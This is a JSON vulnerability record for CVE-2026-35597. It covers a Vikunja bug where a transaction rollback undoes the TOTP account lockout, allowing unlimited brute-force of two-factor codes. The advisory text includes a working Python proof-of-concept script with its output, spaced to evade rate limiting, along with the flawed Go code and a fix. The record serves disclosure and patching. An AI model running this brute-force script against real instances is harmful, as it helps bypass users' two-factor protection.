{"id":"CVE-2026-35597","aliases":["CVE-2026-35597","GHSA-fgfv-pv97-6cmj","GO-2026-5362"],"related":[],"kind":"vulnerability","state":"published","title":"Vikunja Affected by TOTP Brute-Force Due to Non-Functional Account Lockout","summary":"Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the TOTP failed-attempt lockout mechanism is non-functional due to a database transaction handling bug. When a TOTP validation fails, the login handler in pkg/routes/api/v1/login.go calls HandleFailedTOTPAuth and then unconditionally rolls back. HandleFailedTOTPAuth in pkg/user/totp.go uses an in-memory counter (key-value store) to track failed attempts. When the counter reaches 10, it calls user.SetStatus(s, StatusAccountLocked) on the same database session s. Because the login handler always rolls back after a TOTP failure, the StatusAccountLocked write is undone. The in-memory counter correctly increments past 10, so the lockout code executes on every subsequent attempt, but the database write is rolled back every time. This allows unlimited brute-force attempts against TOTP codes. This vulnerability is fixed in 2.3.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the TOTP failed-attempt lockout mechanism is non-functional due to a database transaction handling bug. When a TOTP validation fails, the login handler in pkg/routes/api/v1/login.go calls HandleFailedTOTPAuth and then unconditionally rolls back. HandleFailedTOTPAuth in pkg/user/totp.go uses an in-memory counter (key-value store) to track failed attempts. When the counter reaches 10, it calls user.SetStatus(s, StatusAccountLocked) on the same database session s. Because the login handler always rolls back after a TOTP failure, the StatusAccountLocked write is undone. The in-memory counter correctly increments past 10, so the lockout code executes on every subsequent attempt, but the database write is rolled back every time. This allows unlimited brute-force attempts against TOTP codes. This vulnerability is fixed in 2.3.0.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nThe TOTP failed-attempt lockout mechanism is non-functional due to a database transaction handling bug. The account lock is written to the same database session that the login handler always rolls back on TOTP failure, so the lockout is triggered but never persisted. This allows unlimited brute-force attempts against TOTP codes.\n\n## Details\n\nWhen a TOTP validation fails, the login handler at `pkg/routes/api/v1/login.go:95-101` calls `HandleFailedTOTPAuth` and then unconditionally rolls back:\n\n```go\nif err != nil {\n    if user2.IsErrInvalidTOTPPasscode(err) {\n        user2.HandleFailedTOTPAuth(s, user)\n    }\n    _ = s.Rollback()\n    return err\n}\n```\n\n`HandleFailedTOTPAuth` at `pkg/user/totp.go:201-247` uses an in-memory counter (key-value store) to track failed attempts. When the counter reaches 10, it calls `user.SetStatus(s, StatusAccountLocked)` on the same database session `s`. Because the login handler always rolls back after a TOTP failure, the `StatusAccountLocked` write is undone.\n\nThe in-memory counter correctly increments past 10, so the lockout code executes on every subsequent attempt, but the database write is rolled back every time.\n\n## Proof of Concept\n\nTested on Vikunja v2.2.2. Requires `pyotp` (`pip install pyotp`).\n\n```python\nimport requests, time, pyotp\n\nTARGET = \"http://localhost:3456\"\nAPI = f\"{TARGET}/api/v1\"\n\ndef h(token):\n    return {\"Authorization\": f\"Bearer {token}\", \"Content-Type\": \"application/json\"}\n\n# setup: login, enroll and enable TOTP\ntoken = requests.post(f\"{API}/login\",\n    json={\"username\": \"totp_user\", \"password\": \"TotpUser1!\"}).json()[\"token\"]\nsecret = requests.post(f\"{API}/user/settings/totp/enroll\", headers=h(token)).json()[\"secret\"]\ntotp = pyotp.TOTP(secret)\nrequests.post(f\"{API}/user/settings/totp/enable\", headers=h(token),\n              json={\"passcode\": totp.now()})\n\n# send 9 failed attempts (rate limit is 10/min)\nfor i in range(1, 10):\n    r = requests.post(f\"{API}/login\",\n        json={\"username\": \"totp_user\", \"password\": \"TotpUser1!\", \"totp_passcode\": \"000000\"})\n    print(f\"Attempt {i}: {r.status_code} code={r.json().get('code')}\")\n\n# wait for rate limit reset, send 3 more (past the 10-attempt lockout threshold)\ntime.sleep(65)\nfor i in range(10, 13):\n    r = requests.post(f\"{API}/login\",\n        json={\"username\": \"totp_user\", \"password\": \"TotpUser1!\", \"totp_passcode\": \"000000\"})\n    print(f\"Attempt {i}: {r.status_code} code={r.json().get('code')}\")\n\n# wait for rate limit, try with valid TOTP\ntime.sleep(65)\nr = requests.post(f\"{API}/login\",\n    json={\"username\": \"totp_user\", \"password\": \"TotpUser1!\", \"totp_passcode\": totp.now()})\nprint(f\"Valid TOTP login: {r.status_code}\")  # 200 - account was never locked\n```\n\nOutput:\n```\nAttempt 1: 412 code=1017\n...\nAttempt 9: 412 code=1017\nAttempt 10: 412 code=1017\nAttempt 11: 412 code=1017\nAttempt 12: 412 code=1017\nValid TOTP login: 200\n```\n\nThe account was never locked despite exceeding the 10-attempt threshold. The per-IP rate limit of 10 requests/minute requires spacing attempts, but an attacker with multiple source IPs can parallelize.\n\n## Impact\n\nAn attacker who has obtained a user's password (via phishing, credential stuffing, or database breach) can bypass TOTP two-factor authentication by brute-forcing 6-digit codes. The intended account lockout after 10 failed attempts never takes effect. While per-IP rate limiting provides friction, a distributed attacker can exhaust the TOTP code space.\n\n## Recommended Fix\n\nHave `HandleFailedTOTPAuth` create and commit its own independent database session for the lockout operation:\n\n```go\n// Use a new session so the lockout persists regardless of caller's rollback\nlockoutSession := db.NewSession()\ndefer lockoutSession.Close()\nerr = user.SetStatus(lockoutSession, StatusAccountLocked)\nif err != nil {\n    _ = lockoutSession.Rollback()\n    return\n}\n_ = lockoutSession.Commit()\n```\n\n---\n*Found and reported by [aisafe.io](https://aisafe.io)*","format":"markdown","source":"ghsa"},{"lang":"en","text":"Vikunja Vulnerable to TOTP Brute-Force Due to Non-Functional Account Lockout in code.vikunja.io/api.\n\nNOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.\n\n(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)\n\nThe additional affected modules and versions are: code.vikunja.io/api before v2.3.0.","format":"markdown","source":"go"},{"lang":"es","text":"Vikunja es una plataforma de gestión de tareas de código abierto y autoalojada. Antes de la versión 2.3.0, el mecanismo de bloqueo por intentos fallidos de TOTP no funciona debido a un error en el manejo de transacciones de la base de datos. Cuando falla una validación de TOTP, el gestor de inicio de sesión en pkg/routes/api/v1/login.go llama a HandleFailedTOTPAuth y luego revierte incondicionalmente. HandleFailedTOTPAuth en pkg/user/totp.go utiliza un contador en memoria (almacén clave-valor) para rastrear los intentos fallidos. Cuando el contador alcanza 10, llama a user.SetStatus(s, StatusAccountLocked) en la misma sesión de base de datos s. Debido a que el gestor de inicio de sesión siempre revierte después de un fallo de TOTP, la escritura de StatusAccountLocked se deshace. El contador en memoria se incrementa correctamente más allá de 10, por lo que el código de bloqueo se ejecuta en cada intento posterior, pero la escritura en la base de datos se revierte cada vez. Esto permite intentos ilimitados de fuerza bruta contra códigos TOTP. Esta vulnerabilidad está corregida en la versión 2.3.0.","source":"nvd"}],"published":"2026-04-10T15:34:14.000Z","modified":"2026-10-26T22:10:00.163Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","score":5.9,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","score":5.9,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","score":5.9,"rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"rating":"HIGH"}],"cwes":["CWE-307"],"affected":[{"ranges":[{"version":"< 2.3.0","status":"affected"}],"vendor":"go-vikunja","product":"vikunja","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"2.3.0"}],"ecosystem":"Go","package":"code.vikunja.io/api","purl":"pkg:golang/code.vikunja.io/api","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"code.vikunja.io/api","purl":"pkg:golang/code.vikunja.io/api","source":"go"},{"ranges":[{"status":"affected","fixed":"2.3.0"}],"vendor":"vikunja","product":"vikunja","cpe":"cpe:2.3:a:vikunja:vikunja:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/go-vikunja/vikunja/security/advisories/GHSA-fgfv-pv97-6cmj","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/go-vikunja/vikunja/pull/2576","tags":["issue-tracking","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/go-vikunja/vikunja/commit/6ca0151d02fa0e8c7e2181ab916a28e08caaaec8","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35597","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/go-vikunja/vikunja","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-04-13T15:28:33.633Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-35597","url":"https://www.cve.org/CVERecord?id=CVE-2026-35597","licence":"CVE Terms of Use","modified":"2026-04-13T15:37:11.358Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-fgfv-pv97-6cmj","url":"https://github.com/advisories/GHSA-fgfv-pv97-6cmj","licence":"CC-BY-4.0","modified":"2026-07-21T14:02:38.000Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5362","url":"https://pkg.go.dev/vuln/GO-2026-5362","licence":"CC-BY-4.0","modified":"2026-06-25T19:45:34.729Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-35597","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35597","licence":"Public domain","modified":"2026-10-26T22:10:00.163Z"}],"updatedAt":"2026-11-25T22:59:18.508Z","epss":{"score":0.00315,"percentile":0.26344,"date":"2026-12-01T12:00:22.000Z"}}